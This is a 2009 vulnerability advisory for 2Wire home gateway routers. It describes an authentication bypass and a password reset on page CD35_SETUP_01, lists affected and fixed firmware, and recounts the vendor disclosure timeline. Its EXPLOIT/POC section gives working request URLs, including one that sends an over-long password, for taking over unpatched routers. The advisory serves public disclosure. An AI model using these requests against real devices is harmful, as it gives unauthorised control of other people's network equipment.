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2WIRE GATEWAY AUTHENTICATION BYPASS & PASSWORD RESET
====================================================
DESCRIPTION
-----------------
There is an authentication bypass vulnerability in page=CD35_SETUP_01
that allows you to set a new password even if the password was
previously set.
By setting a new password with more than 512 characters the password
gets reset and next time you access the router you will be prompted for
a new password.
VULNERABLE
----------------
2Wire 2071 Gateway
2Wire 1800HW
2Wire 1701HG
Firmware
5.29.51
3.17.5
3.7.1
NOT VULNERABLE
--------------------
Firmware
5.29.135.5 or later
DISCLOSURE TIMELINE
-------------------------
03/27/2009 - 2wire Contacted
no satisfactory response
07/11/2009 - Sent complete details to 2wire
no response
07/17/2009 - Sent advisory with video demo to 2wire
ticket status escalated, but no response
08/02/2009 - Made public @ Defcon 17
EXPLOIT/POC
-----------------
Authentication Bypass - just use this page to set a new password
http://gateway.2wire.net?xslt?page=CD35_SETUP_01
Video: http://www.hakim.ws/2wire/2wire_CD35_Bypass.ogv
Password Reset - using the same form but sending a password > 512
characters
http://gateway.2wire.net/xslt?PAGE=CD35_SETUP_01_POST&password1=*Ax512*&p
assword2=*Ax512*
Video: http://www.hakim.ws/2wire/2wire_CD35_Reset.ogv
GREETS
------------
sdc lightos pcp nitr0us 0xf alt3kx darko DeadSector Etal gwolf
h4ckult1m4t3 hackerss hd k00l kaz Kbrown mendozaaaa nahual Napa nediam
raza-mexicana roa Setting sla.ckers thornmaker tr3w vandida vi0let
xianur0 Yield
Comunidad Underground de Mexico : https://www.underground.org.mx
h k m
http://www.hakim.ws
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